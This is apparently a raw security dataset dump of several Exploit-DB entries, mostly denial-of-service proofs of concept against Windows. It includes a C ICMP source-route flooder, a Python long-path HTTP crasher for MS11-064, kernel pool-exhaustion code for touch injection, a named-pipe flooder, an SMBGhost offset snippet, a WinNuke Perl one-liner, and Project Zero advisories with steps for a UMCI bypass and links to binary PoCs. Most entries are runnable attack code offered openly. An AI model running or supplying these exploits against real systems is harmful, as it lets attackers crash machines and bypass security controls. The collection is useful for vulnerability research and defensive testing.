deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1967
Description: Microsoft Windows - TCP/IP Protocol Driver Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2006-06-30
Author: Preddy

Exploit:
/*

####################################
# 
# Windows TCP/IP source routing poc
# C version...
#
# by Preddy
#
# RootShell Security Group
#
# Shoutz 2: 
#
#  Jimmy and ByteCoder + 
#  Rs Crew + 
#  Rest of the world :D
#
#
####################################

Compile:

gcc win-tcpip-dos.c -o wintcpipdos

Info:

Published:     14.06.2006
Source:        ANDREYMINAEV
Type:          remote
Level:         9/10

Buffer overflow on ICMP packets with 
Loose Source and Record Route IP options. 
Short message translation: There are DoS 
conditions in Windows 2000 built-in NAT 
server. Tested configuration: Windows 2000 
English Standard/Advanced Service Pack 4 
+ Update Rollup 1 for Service Pack 4 with 
NAT server enabled. While routing packets 
with options "Loose Source and Record Route" 
defined by RFC 791 through server, Windows 
crashes to BSOD with error in tcpip.sys or 
ntoskrnl.exe, or system hangs or system 
began instable work. It doesn't metter if 
packets are from internal or external 
networks. Use attached script to test 
vulnerability. On Windows 2003 problem 
doesn't present. It's also likely same 
problem to present in Windows 2000 + 
ISA 2000. Code execution is potentially possible.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char *argv[])
{

char dos_ip[255];
char mysystem[10];
char ping[20+1];
char trace[100];


if(argc != 3)
{

printf("\n\nWindows TCP/IP source routing Dos - by Preddy\n");
printf("Usage: %s <ip> <mysystem>\n", argv[0]);
printf("Example: %s 127.0.0.1 linux\n", argv[0]);
printf("Uses the ping and the traceroute utility on your system\n", argv[0]);
printf("Should cause a BSOD on the remote system\n");
printf("More info: http://www.security.nnov.ru/Fnews753.html\n\n");
exit(1);
}

strcpy(dos_ip, argv[1]);
strcpy(mysystem, argv[2]);


if((strcmp (argv[2],"linux"))==0)
{

printf("\nTarget: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n\n");


strcpy(ping, "ping -c 1 ");
strncat(ping,argv[1],9);

strcpy(trace, "traceroute -m 1 -g 0.0.0.0 ");
strncat(trace,argv[1],9);


while(1)
{
system(trace);
system(ping);
}

}

if((strcmp (argv[2],"windows"))==0)
{

printf("Target: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n");


strcpy(ping, "ping -n 1 ");
strncat(ping,argv[1],9);

strcpy(trace, "tracert -h 1 -j 0.0.0.0 ");
strncat(trace,argv[1],9);


while(1)
{
system(trace);
system(ping);
}

}

}

// milw0rm.com [2006-06-30]
Exploit-DB #17981
Description: Microsoft Windows - TCP/IP Stack Denial of Service (MS11-064)
Type: dos
Platform: windows
Date: 2011-10-15
Author: Byoungyoung Lee

Exploit:
# Exploit Title: MS11-064 : Vulnerabilities in TCP/IP Stack Could
Allow Denial of Service
# Date: 10/12/2011
# Author: Byoungyoung Lee, http://www.cc.gatech.edu/~blee303/
# Version: Windows 7 32bit, fully patched until Aug 2011
# Tested on: Windows 7 32bit
# CVE : CVE-2011-1965

# analysis is available -
http://exploitshop.wordpress.com/2011/09/07/ms11-064-vulnerabilities-in-tcpip-stack-could-allow-denial-of-service-2563894/

------------------------------------------------------------------------------------------------------
# Byoungyoung Lee, http://twitter.com/mylifeasageek
import struct
import socket

HOST = "localhost" # yeah, we've tried this as a local kernel exploit -:)
PORT= 80

def tryOnce(i,j):
    print hex(i), hex(j)
    filename = ["a"*0x100 for x in range(i)]

    filename = "/".join(filename)
    filename += "/" + "b" * j
    print "filename len : ", hex(len(filename))

    hostname = "www.darungrim.org"

    header = "GET /%s\n" % filename
    header += "HOST: %s\n\n\n" % hostname

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST,PORT))
    s.send(header)
    response = s.recv(1024)
    s.close()
    print response
    return

if __name__ == '__main__':
    tryOnce(0x3c,0x7)
Exploit-DB #36336
Description: Microsoft Windows - Text Services Memory Corruption (MS15-020)
Type: dos
Platform: windows
Date: 2015-03-11
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Microsoft Windows Text Services memory corruption.

Platforms:   Windows

Versions:   list.

Microsoft: MS15-020

Secunia:   SA63220

{PRL}:   2015-03

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Microsoft Corporation  is an American multinational corporation headquartered in Redmond, Washington, that develops, manufactures, licenses, supports and sells computer software, consumer electronics and personal computers and services. Its best known software products are the Microsoft Windowsline of operating systems, Microsoft Office office suite, and Internet Explorer web browser. Its flagship hardware products are the Xbox game consoles and the Microsoft Surface tablet lineup. It is the world’s largest software maker measured by revenues.[5]It is also one of the world’s most valuable companies.[6]

(http://en.wikipedia.org/wiki/Microsoft)

#####################################################################################

============================
2) Report Timeline
============================

2015-02-08: Francis Provencher from Protek Research Lab’s found the issue;
2015-03-04: MSRC confirmed the issue;
2015-03-10: Microsoft fixed the issue;
2015-03-10: Microsoft release a Patch for this issue.

#####################################################################################

============================
3) Technical details
============================

An unspecified error in Windows Text Services can be exploited to cause memory corruption..

#####################################################################################

===========

4) POC

===========

This file need to be open in wordpad.

http://protekresearchlab.com/exploits/PRL-2015-03.rar
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36336.rar

###############################################################################
Search for:
Exploit-DB #39208
Description: Microsoft Windows - Touch Injection API Local Denial of Service
Type: dos
Platform: windows
Date: 2014-05-22
Author: Tavis Ormandy

Exploit:
// source: https://www.securityfocus.com/bid/67742/info

Microsoft Windows is prone to a local denial-of-service vulnerability.

A local attacker can exploit this issue to crash the affected computer, denying service to legitimate users. 

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
 
#pragma comment(lib, "ntdll")
#pragma comment(lib, "user32")
#pragma comment(lib, "gdi32")
#pragma comment(lib, "advapi32")
 
// InitializeTouchInjection() Win8.1 Testcase
// -- Tavis Ormandy <taviso@google.com>, Feb 2014.
 
int main(int argc, char **argv)
{
POINTER_TOUCH_INFO Contact;
SID_AND_ATTRIBUTES SidToRestricted;
ULONG Size;
HANDLE Handle;
 
ZeroMemory(&Contact, sizeof Contact);
ZeroMemory(&SidToRestricted, sizeof SidToRestricted);
 
// I *think* TOUCH_MASK_CONTACTAREA is required (i.e. rcContact), the rest
// just need to be valid.
Contact.pointerInfo.pointerType = PT_TOUCH;
Contact.pointerInfo.pointerFlags = POINTER_FLAG_DOWN | POINTER_FLAG_INRANGE | POINTER_FLAG_INCONTACT;
Contact.pointerInfo.ptPixelLocation.x = 'AAAA';
Contact.pointerInfo.ptPixelLocation.y = 'AAAA';
Contact.rcContact.left = 'AAAA';
Contact.rcContact.right = 'AAAA';
Contact.rcContact.top = 'AAAA';
Contact.rcContact.bottom = 'AAAA';
Contact.touchFlags = TOUCH_FLAG_NONE;
Contact.touchMask = TOUCH_MASK_CONTACTAREA;
Size = SECURITY_MAX_SID_SIZE;
Handle = INVALID_HANDLE_VALUE;
SidToRestricted.Sid = _alloca(Size);
 
CreateWellKnownSid(WinNullSid, NULL, SidToRestricted.Sid, &Size);
 
// This just exhausts available pool (how that's accomplished is irrelevant).
for (Size = 1 << 26; Size; Size >>= 1) {
while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
;
}
 
for (;;) {
// Initialize touch injection with very small number of contacts.
InitializeTouchInjection(1, TOUCH_FEEDBACK_DEFAULT);
 
// Now increase the number of contacts, which should (eventually) cause an allocation fail.
InitializeTouchInjection(MAX_TOUCH_COUNT, TOUCH_FEEDBACK_DEFAULT);
 
// I think this will just massage the pool, sequence found by fuzzing.
OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &Handle);
CreateRestrictedToken(Handle, 0, 0, NULL, 0, NULL, 1, &SidToRestricted, &Handle);
 
// Write something to the touch injection allocation.
InjectTouchInput(1, &Contact);
}
 
return 0;
}
Exploit-DB #41654
Description: Microsoft Windows - Uniscribe Font Processing Buffer Overflow in 'USP10!FillAlternatesList' (MS17-011)
Type: dos
Platform: windows
Date: 2017-03-20
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1030

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!FillAlternatesList function, while trying to request a list of alternate glyphs for a specific glyph in a corrupted font file:

---
(4bfc.c60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000000d ebx=0021006f ecx=00000010 edx=00000018 esi=07b4bfe8 edi=0021f620
eip=75232fe1 esp=0021f550 ebp=0021f5b8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
USP10!FillAlternatesList+0x2d1:
75232fe1 66891c32        mov     word ptr [edx+esi],bx    ds:002b:07b4c000=????
0:000> kb
ChildEBP RetAddr  Args to Child              
0021f5b8 7522eb56 09312db6 [PII_REDACTED] USP10!FillAlternatesList+0x2d1
0021f5ec 75208b38 0021f640 0021f614 746c6161 USP10!GetOtlGlyphAlternates+0x86
0021f770 7520f214 0021f9d8 6e74616c 746c6664 USP10!OtlGetAlternateGlyphList+0x108
0021f7a0 00dc4557 30011a14 [PII_REDACTED] USP10!ScriptGetFontAlternateGlyphs+0xb4
[...]
---

In our test harness, we set the cMaxAlternates parameter of the ScriptGetFontAlternateGlyphs function to 10, indicating that this is the maximum number of values which can be written to the output pAlternateGlyphs array. However, the API function does not seem to respect the argument and attempts to write more data into the buffer -- in this case, 29 WORDs. The vulnerability can also be confirmed by looking at the output value of pcAlternates, which should never exceed 10 in this case, but is indeed set to 29. As a result, the bug may lead to corruption of various memory areas, including stack, heap, and static memory, depending on the type of pointer passed to the function by its caller.

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled and the output buffer allocated from the heap. In order to reproduce the problem with the provided samples, it is necessary to use a custom program which calls the vulnerable API function.

Attached is a proof of concept malformed font file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41654.zip
Exploit-DB #41655
Description: Microsoft Windows - Uniscribe Font Processing Multiple Heap Out-of-Bounds and Wild Reads (MS17-011)
Type: dos
Platform: windows
Date: 2017-03-20
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1031

Through fuzzing, we have discovered a number of different crashes in the Windows Uniscribe user-mode library, while trying to display text using a corrupted font file or calling documented Uniscribe API functions against such malformed fonts. In this bug, we address a variety of crashes manifested through invalid memory READ accesses. Some of them occur at page boundaries, while other at seemingly valid yet non-mapped addresses. The sheer amount of the crashes makes it very difficult for us to assess the root cause, severity and impact of each of them within a reasonable time-frame. Consequently, we have only performed basic deduplication based on the top-level address of the faulting instruction, and are reporting all of such crashes in this single bug tracker entry.

A summary of the crash locations is as follows:

--------------------------------------------------------------
1	USP10!otlMultiSubstLookup::apply+0xa8
2	USP10!otlSingleSubstLookup::applyToSingleGlyph+0x98
3	USP10!otlSingleSubstLookup::apply+0xa9
4	USP10!otlMultiSubstLookup::getCoverageTable+0x2c
5	USP10!otlMark2Array::mark2Anchor+0x18
6	USP10!GetSubstGlyph+0x2e
7	USP10!BuildTableCache+0x1ca
8	USP10!otlMkMkPosLookup::apply+0x1b4
9	USP10!otlLookupTable::markFilteringSet+0x1a
10	USP10!otlSinglePosLookup::getCoverageTable+0x12
11	USP10!BuildTableCache+0x1e7
12	USP10!otlChainingLookup::getCoverageTable+0x15
13	USP10!otlReverseChainingLookup::getCoverageTable+0x15
14	USP10!otlLigCaretListTable::coverage+0x7
15	USP10!otlMultiSubstLookup::apply+0x99
16	USP10!otlTableCacheData::FindLookupList+0x9
17	USP10!ttoGetTableData+0x4b4
18	USP10!GetSubtableCoverage+0x1ab
19	USP10!otlChainingLookup::apply+0x2d
20	USP10!MergeLigRecords+0x132
21	USP10!otlLookupTable::subTable+0x23
22	USP10!GetMaxParameter+0x53
23	USP10!ApplyLookup+0xc3
24	USP10!ApplyLookupToSingleGlyph+0x6f
25	USP10!ttoGetTableData+0x19f6
26	USP10!otlExtensionLookup::extensionSubTable+0x1d
27	USP10!ttoGetTableData+0x1a77
--------------------------------------------------------------

All of the issues reproduce successfully on Windows 7. It is highly encouraged to enable PageHeap for the test program in order to get reliable repros. It is also necessary to use a custom program which displays all of the font's glyphs at various point sizes, and additionally calls some of the Uniscribe-specific API functions.

Attached is an archive with textual crash excerpts and up to 3 samples per each unique crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41655.zip
Exploit-DB #48216
Description: Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2020-03-14
Author: eerykitty

Exploit:
# CVE-2020-0796 PoC aka CoronaBlue aka SMBGhost

Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48216.zip

## Usage

`./CVE-2020-0796.py servername`

This script connects to the target host, and compresses the authentication request with a bad offset field set in the transformation header, causing the decompressor to buffer overflow and crash the target.

This contains a modification of the excellent [smbprotocol](https://github.com/jborean93/smbprotocol) with added support for SMB 3.1.1 compression/decompression (only LZNT1). Most of the additions are in `smbprotocol/connection.py`. A version of [lznt1](https://github.com/you0708/lznt1) is included, modified to support Python 3.

The compression transform header is in the `SMB2CompressionTransformHeader` class there. The function `_compress` is called to compress tree requests. This is where the offset field is set all high to trigger the crash.

```python
    def _compress(self, b_data, session):
        header = SMB2CompressionTransformHeader()
        header['original_size'] = len(b_data)
        header['offset'] =[PII_REDACTED]
        header['data'] = smbprotocol.lznt1.compress(b_data)
```

## About

CVE-2020-0796 is a bug in Windows 10 1903/1909's new SMB3 compression capability. SMB protocol version 3.1.1 introduces the ability for a client or server to advertise compression cabilities, and to selectively compress SMB3 messages as beneficial. To accomplish this, when negotiating an SMB session, the client and server must both include a `SMB2_COMPRESSION_CAPABILITIES` as documented in [MS-SMB2 2.2.3.1.3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271).

Once a session is negotiated with this capability, either the client or the server can selectively compress certain SMB messages. To do so, the entire SMB packet is compressed, and a transformed header is prepended, as documented in [MS-SMB2 2.2.42](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0). This header is a small (16 bytes) structure with a magic value, the uncompressed data size, the compression algorithm used, and an offset value.

CVE-2020-0796 is caused by a lack of bounds checking in that offset size, which is directly passed to several subroutines. Passing a large value in will cause a buffer overflow, and crash the kernel. With further work, this could be developed into a RCE exploit.
Exploit-DB #40883
Description: Microsoft Windows 10 (x86/x64) - WLAN AutoConfig Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2016-12-06
Author: Jeremy Brown

Exploit:
#!/usr/bin/python
# wlanautoconfig-poc.py
#
# Windows WLAN AutoConfig Named Pipe POC
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2016
#
# >	wifinetworkmanager.dll!__FatalError(char const *,unsigned # long,char const *, ...)
#	AsyncPipe::ReadCompletedCallback(void)
#	AsyncPipe::Dispatch(int,void *,void *, ...)
#	Synchronizer::EnqueueEvent(...)
#	AsyncPipe::ReadCompletedStatic(...)
#
# --> STATUS_STACK_BUFFER_OVERRUN @ svchost.exe
#
# Tested:
#
# Windows 10 x86/x64 BUILD 10.0.14393 (vulnerable)
# Windows Server 2012 R2 x64 (not vulnerable, service doesn't create pipe)
#
# Dependencies:
#
# pip install pypiwin32
#
# Notes:
#
# This won't kill Wlansvc service, but the thread servicing the pipe will terminate
#

import win32file
import pywintypes
import msvcrt

BUF_SIZE = 4096
PIPE_NAME = r'\\.\pipe\WiFiNetworkManagerTask'

def main():
    try:
        handle = win32file.CreateFile(PIPE_NAME, win32file.GENERIC_WRITE, 0, None, win32file.OPEN_EXISTING, 0, None)
    except Exception:
        print("Error: CreateFile() failed\n")
        return

    fd = msvcrt.open_osfhandle(handle, 0)

    if(fd < 0):
        print("Error: open_osfhandle() failed\n")
        return

    buf = bytearray(b'\x42' * BUF_SIZE)

    # exact number here could vary, keeping it simple
    while True:
        win32file.WriteFile(handle, buf)


if __name__ == "__main__":
    main()
Exploit-DB #42997
Description: Microsoft Windows 10 - WLDP/MSHTML CLSID UMCI Bypass
Type: dos
Platform: windows
Date: 2017-10-17
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1328

Windows: WLDP/MSHTML CLSID UMCI Bypass 
Platform: Windows 10 S (thought should be anything with UMCI)
Class: Security Feature Bypass

Summary:
The enlightened lockdown policy check for COM Class instantiation can be bypassed in MSHTML hosts leading to arbitrary code execution on a system with UMCI enabled (e.g. Device Guard)

Description:

Scripting hosts are supposed to check against the Windows Lockdown Policy (WLDP) before instantiating arbitrary COM classes. This is typically done by calling WldpIsClassInApprovedList from WLDP.DLL before instantiating any COM class. For example in the case of JScript’s ActiveXObject the ProgID is passed to CLSIDFromProgID by the script host and the resulting CLSID is passed to WLDP to determine what’s allowed.

It’s possible to circumvent this check by using the COM TreatAs key to redirect one of the limited (8) allowed CLSIDs to an arbitrary class and get it instantiated. However you can’t do this using ActiveXObject as CLSIDFromProgID will return the resulting CLSID from looking up TreatAs. That said there is a race condition here. However in an MSHTML Local Machine Zone scenario you can bypass it by using an OBJECT tag. In this case MSHTML parses the classid attribute and checks that CLSID against WLDP. It then proceeds to create it using CoCreateInstance which follows TreatAs and creates a different object.

This does require modification of the registry to work, but I think that’s in scope. The reason I’m reporting this one is I think it’s a bug in MSHTML, rather than in an application you can easily block (at least if you want to disable

Proof of Concept:

I’ve provided a PoC is two files, a text file to set-up the registry and a HTML file. The registry file is in the REGINI format which allows it to work on Win10S as while reg.exe and regedit.exe are blocked regini.exe isn’t. The HTML file can be run inside IE or my prefered option HTML Help. You could even make the PoC file a CHM but I didn’t. The PoC can bootstrap things like untrusted .NET but for simplicity it doesn’t.

1) Unpack the PoC and ensure the HTML file does NOT have MOTW.
2) From the explorer Run dialog execute “regini path\to\keys.txt”
3) Execute the HTML file from the Run dialog using “hh path\to\shell.html”

Expected Result:
The class creation should fail.

Observed Result:
The class creation succeeded and the HTML file executed notepad.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42997.zip
Exploit-DB #20438
Description: Microsoft Windows 3.11/95/NT 4.0/NT 3.5.1 - 'Out Of Band' Data Denial of Service (2)
Type: dos
Platform: windows
Date: 1997-05-07
Author: _eci

Exploit:
source: https://www.securityfocus.com/bid/2010/info
 
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
 
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
 
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
 
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning. 

perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box:139")->send("bye",MSG_OOB)'